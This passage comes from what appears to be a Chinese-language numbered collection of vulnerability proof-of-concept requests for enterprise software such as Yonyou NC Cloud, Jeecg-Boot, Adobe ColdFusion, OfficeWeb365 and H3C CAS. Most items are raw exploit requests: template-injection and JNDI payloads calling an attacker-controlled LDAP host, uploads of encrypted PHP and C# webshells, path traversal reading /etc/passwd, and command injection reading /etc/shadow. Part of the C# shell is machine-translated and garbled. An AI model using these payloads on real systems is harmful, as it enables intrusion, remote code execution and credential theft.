Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: cookiets=168170496; JSESSIONID=33A343770FF.server

If-None-Match: W/"1571-1589211696000"

If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 249

{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]}

再发送数据包执行命令，返回命令执行结果

POST /404.jsp?error=bsh.Interpreter HTTP/1.1

Host: 127.0.0.1:8080

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: cookiets=1681785232226; JSESSIONID=334D3ED07A343770FF.server

If-None-Match: W/"1571-1589211696000"

If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 104

cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ping 8.8.8.8").getInputStream())

82、用友 NC Cloud jsinvoke 任意文件上传漏洞

漏洞描述

用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件至服务器中，获取系统权限

app=”用友-NC-Cloud”

POST /uapjs/jsinvoke/?action=invoke

Content-Type: application/json

{

  "serviceName": "nc.itf.iufo.IBaseSPService",

  "methodName": "saveXStreamConfig",

  "parameterTypes": [

    "java.lang.Object",

    "java.lang.String"

  ],

  "parameters": [

    "${param.getClass().forName(param.error).newInstance().eval(param.cmd)}",

    "webapps/nc_web/407.jsp"

  ]

}

POST /uapjs/jsinvoke/?action=invoke HTTP/1.1

Host:

Connection: Keep-Alive

Content-Length: 253

Content-Type: application/x-www-form-urlencoded

{

  "serviceName": "nc.itf.iufo.IBaseSPService",

  "methodName": "saveXStreamConfig",

  "parameterTypes": [

    "java.lang.Object",

    "java.lang.String"

  ],

  "parameters": [

    "${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://VPSip:1389/TomcatBypass/TomcatEcho')}",

    "webapps/nc_web/301.jsp"

  ]

}

83、亿赛通 /UploadFileFromClientServiceForClient 任意文件上传漏洞

漏洞描述:亿赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全防护软件。亿赛通电子文档安全管理系统任意文件上传

漏洞危害:攻击者可以上传恶意文件，获得服务器权限

修复方法

官网已发布安全修复版本，请升级至官网最新版本 https://www.esafenet.com/

84、Jeecg-Boot Freemarker 模版注入漏洞

漏洞危害

1、如果被攻击者利用，可直接getshell； 2、如果被攻击者利用，可被用于内网信息收集，扫描目标内网主机； 3、如果被攻击者利用，可攻击运行在内网或本地的应用程序； 4、如果被攻击者利用，可被用作攻击跳板；

修复方法

Jeecg官方暂未修复该漏洞，无法通过升级JeecgBoot版本修复该漏洞，建议： 1、临时禁用Freemarker高危的代码执行类，如：freemarker.template.utility.Execute（ftl利用方式较多，请自行判断）

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1

Host: xxx.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

Content-Type: application/json;charset=UTF-8

Content-Length: 129

{"apiSelectId":"1290104038414721025",

"id":"1"}

85、远秋医学技能考试系统SQL注入

1	sqlmap -u "http://xxx.xxx.xxx.xxx/NewsDetailPage.aspx?key=news&id=7" -p id -batch

86、新开普智慧校园系统代码执行漏洞

漏洞详情

新开普智慧校园系统/service_transport/service.action接口处存在FreeMarker模板注入，攻击者可在未经身份认证的情况下，调用后台接口，构造恶意代码实现远程代码执行，最终可造成服务器失陷。

路径存在则漏洞存在

http://xxx.com/service_transport/service.action

纯文本

poc没回显

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
 
{
        "command": "GetFZinfo", 
        "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c ping v0u26h.ceye.io\")}"
}

纯文本

写文件

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
 
{
        "command": "GetFZinfo", 
        "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c echo PCUhCiAgICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgewogICAgICAgIFUoQ2xhc3NMb2FkZXIgYykgewogICAgICAgICAgICBzdXBlcihjKTsKICAgICAgICB9CiAgICAgICAgcHVibGljIENsYXNzIGcoYnl0ZVtdIGIpIHsKICAgICAgICAgICAgcmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsIDAsIGIubGVuZ3RoKTsKICAgICAgICB9CiAgICB9CiAKICAgIHB1YmxpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBzdHIpIHRocm93cyBFeGNlcHRpb24gewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOwogICAgICAgICAgICByZXR1cm4gKGJ5dGVbXSkgY2xhenouZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBTdHJpbmcuY2xhc3MpLmludm9rZShjbGF6ei5uZXdJbnN0YW5jZSgpLCBzdHIpOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwogICAgICAgICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsKICAgICAgICAgICAgcmV0dXJuIChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZSIsIFN0cmluZy5jbGFzcykuaW52b2tlKGRlY29kZXIsIHN0cik7CiAgICAgICAgfQogICAgfQolPgo8JQogICAgU3RyaW5nIGNscyA9IHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzd2QiKTsKICAgIGlmIChjbHMgIT0gbnVsbCkgewogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGJhc2U2NERlY29kZShjbHMpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CiAgICB9CiU+ >./webapps/ROOT/1.txt\")}"
}

纯文本

文件转换为jsp

POST /service_transport/service.action HTTP/1.1 Host: your-ip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0  {        "command": "GetFZinfo",         "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c certutil -decode ./webapps/ROOT/1.txt ./webapps/ROOT/1.jsp\")}" }

87、拓尔思 MAS 任意文件上传漏洞

88、金山终端安全系统V9任意文件上传漏洞

POST /inter/software_relation.php HTTP/1.1 
Host: 192.168.249.137:6868 
Content-Length: 1557 
Pragma: no-cache 
Cache-Control: no-cache 
Upgrade-Insecure-Requests: 1 
Origin: http://192.168.249.137:6868 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxRP5VjBKdqBrCixM 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9 
Connection: close ------WebKitFormBoundaryxRP5VjBKdqBrCixM 
Content-Disposition: form-data; name="toolFileName" ../../datav.php ------WebKitFormBoundaryxRP5VjBKdqBrCixM 
Content-Disposition: form-data; name="toolDescri" ------WebKitFormBoundaryxRP5VjBKdqBrCixM Content-Disposition: form-data; name="id" ------WebKitFormBoundaryxRP5VjBKdqBrCixM 
Content-Disposition: form-data; name="version" ------WebKitFormBoundaryxRP5VjBKdqBrCixM Content-Disposition: form-data; name="sofe_typeof" ------WebKitFormBoundaryxRP5VjBKdqBrCixM Content-Disposition: form-data; name="fileSize" ------WebKitFormBoundaryxRP5VjBKdqBrCixM Content-Disposition: form-data; name="param" ------WebKitFormBoundaryxRP5VjBKdqBrCixM Content-Disposition: form-data; name="toolName" ------WebKitFormBoundaryxRP5VjBKdqBrCixM Content-Disposition: form-data; name="toolImage"; filename="3.php" Content-Type: image/png <?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?> ------WebKitFormBoundaryxRP5VjBKdqBrCixM

89、Eramba任意代码执行漏洞

影响版本：Enterprise and Community edition <= 3.19.1

GET /settings/download-test-pdf?path=ip%20a; HTTP/1.1 Host: [redacted] Cookie: translation=1; csrfToken=1l2rXXwj1D1hVyVRH%2B1g%2BzIzYTA3OGFiNWRjZWVmODQ1OTU1NWEyODM2MzIwZTZkZTVlNmU1YjY%3D; PHPSESSID=14j6sfroe6t2g1mh71g2a1vjg8 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://[redacted]/settings Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers Connection: close

HTTP/1.1 500 Internal Server Error Date: Fri, 31 Mar 2023 12:37:55 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Disposition: attachment; filename="test.pdf" X-DEBUGKIT-ID: d383f6d4-6680-4db0-b574-fe789abc1718 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 2033469 <!DOCTYPE html> <html> <head> <meta charset="utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> Error: The exit status code '127' says something went wrong: stderr: &quot;sh: 1: --dpi: not found &quot; stdout: &quot;1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00    inet 127.0.0.1/8 scope host lo       valid_lft forever preferred_lft forever    inet6 ::1/128 scope host       valid_lft forever preferred_lft forever 2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000    link/ether [redacted] brd ff:ff:ff:ff:ff:ff    inet [redacted] brd [redacted] scope global ens33       valid_lft forever preferred_lft forever    inet6 [redacted] scope link       valid_lft forever preferred_lft forever &quot; command: ip a; --dpi '90' --lowquality --margin-bottom '0' --margin-left '0' --margin-right '0' --margin-top '0' --orientation 'Landscape' --javascript-delay '1000' '/tmp/knp_snappy6426d4231040e1.91046751.html' '/tmp/knp_snappy6426d423104587.46971034.pdf'. </title> [...]

90、Adobe ColdFusion 反序列化漏洞CVE-2023-29300

POST /CFIDE/adminapi/base.cfc?method= HTTP/1.1
Host: 1.2.3.4:1234
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 400
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
cmd: id

argumentCollection=
<wddxPacket version='1.0'>
    <header/>
    <data>
        <struct type='xcom.sun.rowset.JdbcRowSetImplx'>
            <var name='dataSourceName'>
                <string>ldap://xxx.xxx.xxx:1234/Basic/TomcatEcho</string>
            </var>
            <var name='autoCommit'>
                <boolean value='true'/>
            </var>
        </struct>
    </data>
</wddxPacket>

91、1Panel loadfile 后台文件读取漏洞

漏洞描述

1Panel后台存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中的敏感信息文件

POC

1	POST /api/v1/file/loadfile {"paht":"/etc/passwd"}

漏洞复现

登陆页面

92、金蝶云星空 CommonFileserver 任意文件读取漏洞

1	GET /CommonFileServer/c:/windows/win.ini

93、CODING平台idna目录存在目录遍历漏洞

Coding.net 是一个面向开发者的云端开发平台，提供 Git/SVN 代码托管、任务管理，在idna存在目录泄露漏洞，攻击者可获取目录文件信息。

94、中远麒麟堡垒机SQL注入

麒麟堡垒机用于运维管理的认证、授权、审计等监控管理。中远麒麟堡垒机存在SQL注入，可利用该漏洞获取系统敏感信息。

检索条件:

cert=”Baolei”||title=”麒麟堡垒机”||body=”admin.php?controller=admin_index&action=get_user_login_fristauth”||body=”admin.php?controller=admin_index&action=login”

poc: relative: req0 && req1 session: false requests: - method: POST timeout: 10 path: /admin.php?controller=admin_commonuser headers: Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.2786.81 Safari/537.36 data: username=admin’ AND (SELECT 6999 FROM (SELECT(SLEEP(5)))ptGN) AND ‘AAdm’=’AAdm follow_redirects: true matches: (code.eq(“200”) && time.gt(“5”) && time.lt(“10”)) - method: POST timeout: 10 path: /admin.php?controller=admin_commonuser headers: User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.2786.81 Safari/537.36 Content-Type: application/x-www-form-urlencoded data: username=admin follow_redirects: true matches: time.lt(“5”)

95、用友NC存在JNDI注入漏洞

待补充。

96、OfficeWeb365 远程代码执行漏洞

【消息详情】：360漏洞云监测到网传《OfficeWeb365 远程代码执行漏洞》的消息，经漏洞云复核，确认为【真实】漏洞，漏洞影响【未知】版本，该漏洞标准化POC已经上传漏洞云情报平台，平台编号：360LDYLD-2023-00002453，情报订阅用户可登录漏洞云情报平台( https://loudongyun.360.cn/bug/list )查看漏洞详情。

360漏洞云监测到网传《OfficeWeb365远程代码执行漏洞》的消息，经漏洞云复核，确认为【真实】漏洞，漏洞影响【未知】版本，该漏洞标准化POC已经升级漏洞云情报平台，平台编号： 360LDYLD-2023-00002453

#详细

POST /PW/SaveDraw?path=../../Content/img&idx=1.aspx HTTP/1.1

主持人：xxx

用户代理：Mozilla/5.0（Macintosh；Intel Mac OS X 10_15_7）AppleWebKit/537.36（KHTML，如 Gecko）Chrome/88.0.434.18 Safari/537.36

内容长度：2265

内容类型：application/x-www-form-urlencoded

接受编码：gzip、deflate

连接：关闭

数据:image/png;base64,01s34567890123456789y12345678901234567m91<%@ 页面语言="C#" %>

    <%@Import 命名空间="System.Reflection" %>

    <脚本运行=“服务器”>

               私有字节[]解密（字节[]数据）

        {

            字符串键=“e45e329feb5d925b”；

            数据 = Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(data));

            System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();

            aes.Mode = System.Security.Cryptography.CipherMode.ECB;

            aes.Key = Encoding.UTF8.GetBytes(key);

            aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;

            return aes.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);

        }

        私有字节[]加密（字节[]数据）

        {

            字符串键=“e45e329feb5d925b”；

            System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();

            aes.Mode = System.Security.Cryptography.CipherMode.ECB;

            aes.Key = Encoding.UTF8.GetBytes(key);

            aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;

            返回 System.Text.Encoding.UTF8.GetBytes(Convert.ToBase64String(aes.CreateEncryptor().TransformFinalBlock(data, 0, data.Length)));

        }

</脚本>

//byte[] c=Request.BinaryRead(Request.ContentLength);Assembly.Load(Decrypt(c)).CreateInstance(“U”).Equals(this);

byte[] c=Request.BinaryRead(Request.ContentLength);

string asname=System.Text.Encoding.ASCII.GetString(new byte[] {0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x65,0x66,0x6c,0x65,0x63,0x74,0x69,0x6f, 0x6e,0x2e,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79});

类型程序集=Type.GetType(asname);

MethodInfo load = assembly.GetMethod(“Load”,new Type[] {new byte[0].GetType()});

对象 obj=load.Invoke(null, new object[]{Decrypt(c)});

MethodInfo create = assembly.GetMethod(“CreateInstance”,new Type[] { “”.GetType()});

字符串名称 = System.Text.Encoding.ASCII.GetString(new byte[] { 0x55 });

object pay=create.Invoke(obj,new object[] { name });

pay.Equals(this);%>>—

97、gitlab路径遍历读取任意文件漏洞

可能需要登录

1	GET /group1/group2/group3/group4/group5/group6/group7/group8/group9/project9/uploads/4e02c376ac758e162ec674399741e38d//..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

98、360 天擎终端安全管理系统前台文件上传漏洞

POST /rptsvr/upload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=---------------------------55433477442814818502792421460
Content-Length: 388
Connection: close
Cookie: SKYLARa7e3918c30fdaa641ea1fc2f0c=iouj4m7as0bi041r7eeip52tv0;YII_CSRF_TOKEN=451a827a59b5e2917bf1e1681ac7ba7d1351d346s%3A40%3A%22ec274984d6d6008386d91140b21666bc52ad1d0f%22%3B
Upgrade-Insecure-Requests: 1

-----------------------------55433477442814818502792421460
Content-Disposition: form-data; name="uploadfile"; filename="../../../application/api/controllers/TController.php"
Content-Type: text/x-python

<?php
	class TController extends BaseApiController	{
		protected function beforeAction($action){
			return true;
		}
		public function actionT(){
			phpinfo();
		}
	}
?>
-----------------------------55433477442814818502792421460
Content-Disposition: form-data; name="token"

skylar_report
-----------------------------55433477442814818502792421460

99、Citrix ADC&Citrix Gateway 远程代码执行漏洞

POST /saml/login HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Length: 3150
Content-Type: application/x-www-form-urlencoded

SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0icGZ4NDFkOGVmMjItZTYxMi04YzUwLTk5NjAtMWIxNmYxNTc0MWIzIiBWZXJzaW9uPSIyLjAiIFByb3ZpZGVyTmFtZT0iU1AgdGVzdCIgRGVzdGluYXRpb249Imh0dHA6Ly9pZHAuZXhhbXBsZS5jb20vU1NPU2VydmljZS5waHAiIFByb3RvY29sQmluZGluZz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmJpbmRpbmdzOkhUVFAtUE9TVCIgQXNzZXJ0aW9uQ29uc3VtZXJTZXJ2aWNlVVJMPSJodHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcyI+CiAgPHNhbWw6SXNzdWVyPkE8L3NhbWw6SXNzdWVyPgogIDxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPgogICAgPGRzOlNpZ25lZEluZm8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjcnNhLXNoYTEiLz4KICAgICAgPGRzOlJlZmVyZW5jZSBVUkk9IiNwZng0MWQ4ZWYyMi1lNjEyLThjNTAtOTk2MC0xYjE2ZjE1NzQxYjMiPgogICAgICAgIDxkczpUcmFuc2Zvcm1zPgogICAgICAgICAgPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8+CiAgICAgICAgICA8ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgICAgPC9kczpUcmFuc2Zvcm1zPgogICAgICAgIDxkczpEaWdlc3RWYWx1ZT5BPC9kczpEaWdlc3RWYWx1ZT4KICAgICAgPC9kczpSZWZlcmVuY2U+CiAgICA8L2RzOlNpZ25lZEluZm8+CiAgICA8ZHM6U2lnbmF0dXJlVmFsdWU+QTwvZHM6U2lnbmF0dXJlVmFsdWU+CiAgPC9kczpTaWduYXR1cmU+CiAgPHNhbWxwOk5hbWVJRFBvbGljeSBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyIgQWxsb3dDcmVhdGU9InRydWUiLz4KICA8c2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0IENvbXBhcmlzb249ImV4YWN0Ij4KICAgIDxzYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9zYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPgogIDwvc2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0Pgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4=
查看系统版本

100、DzzOffice RCE

通过随机数安全得到 authkey，加密后，发送 payload

POST /core/api/wopi/index.php?access_token=1&action=contents&path=MTQxZGw4UWs2YmEwcUswVWMwYzNkcVprcXc2NWNaeERVZWIxZmNJMGVSQ2NGbTBUTUFzSTJmc1c1LTczRGFEZDZHNDFxRU13WXFEeDEwdFJNb28= HTTP/1.1
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJiYW9iYW8tdXNlciIsImlhdCI6MTY4NjIyODQ0NCwiZXhwIjoxNjg2MjUwMDQ0LCJpZCI6IjMiLCJuYW1lIjoidGVzdCIsInJvbGVzIjoiMCJ9.h8vnwTPkaTRet53k8eyXqCRRowraZ-An69WjNEB8ikU; ziCQ_2132_auth=b389-XGLCreLr47EADvzniIOSoe-LaFczEggiR2p;ziCQ_2132_lastact=1691549987%09index.php%09; ziCQ_2132_lastvisit=1691546387;ziCQ_2132_saltkey=PB4ZSXjz; ziCQ_2132_sid=xmvOOhspring.cloud.function.definition: reverseString
Content-Type: text/plain
User-Agent: PostmanRuntime/7.32.3
Accept: */*
Postman-Token: 44091cc3-1c62-4ebd-8348-df9bc5d4ed8b
Host: 127.0.0.1:8888
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 18
<?php phpinfo();?>

101、GitLab 目录遍历漏洞

1
2

/test/test1/test2/test3/test4/test5/test6/test7/test8/111/uploads/2ac45b38daa86ac6f81eac0d5
d4997b1/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2fpasswd

102、H3C CAS 虚拟化管理系统前台任意文件上传漏洞

POST /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/uploadtest233.jsp&name=333 HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Range: bytes 0-10/20
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: JSESSIONID=D0BAB5DEA9AB89BAEE23A8D61D5E1311;JSESSIONID=74E97FDC12BCA4DE576D14777020DF91
Connection: close
Content-Length: 31

<%out.print("uploadsuccess");%>

103、Hytec Inter HWL-2511-SS popen.cgi命令注入漏洞

title=”index” && header=”lighttpd/1.4.30”

1	/cgi-bin/popen.cgi?command=ping%20-c%204%201.1.1.1;cat%20/etc/shadow&v=0.1303033443137921

104、IBM Storwize 存储管理系统命令执行漏洞

#!/usr/bin/python
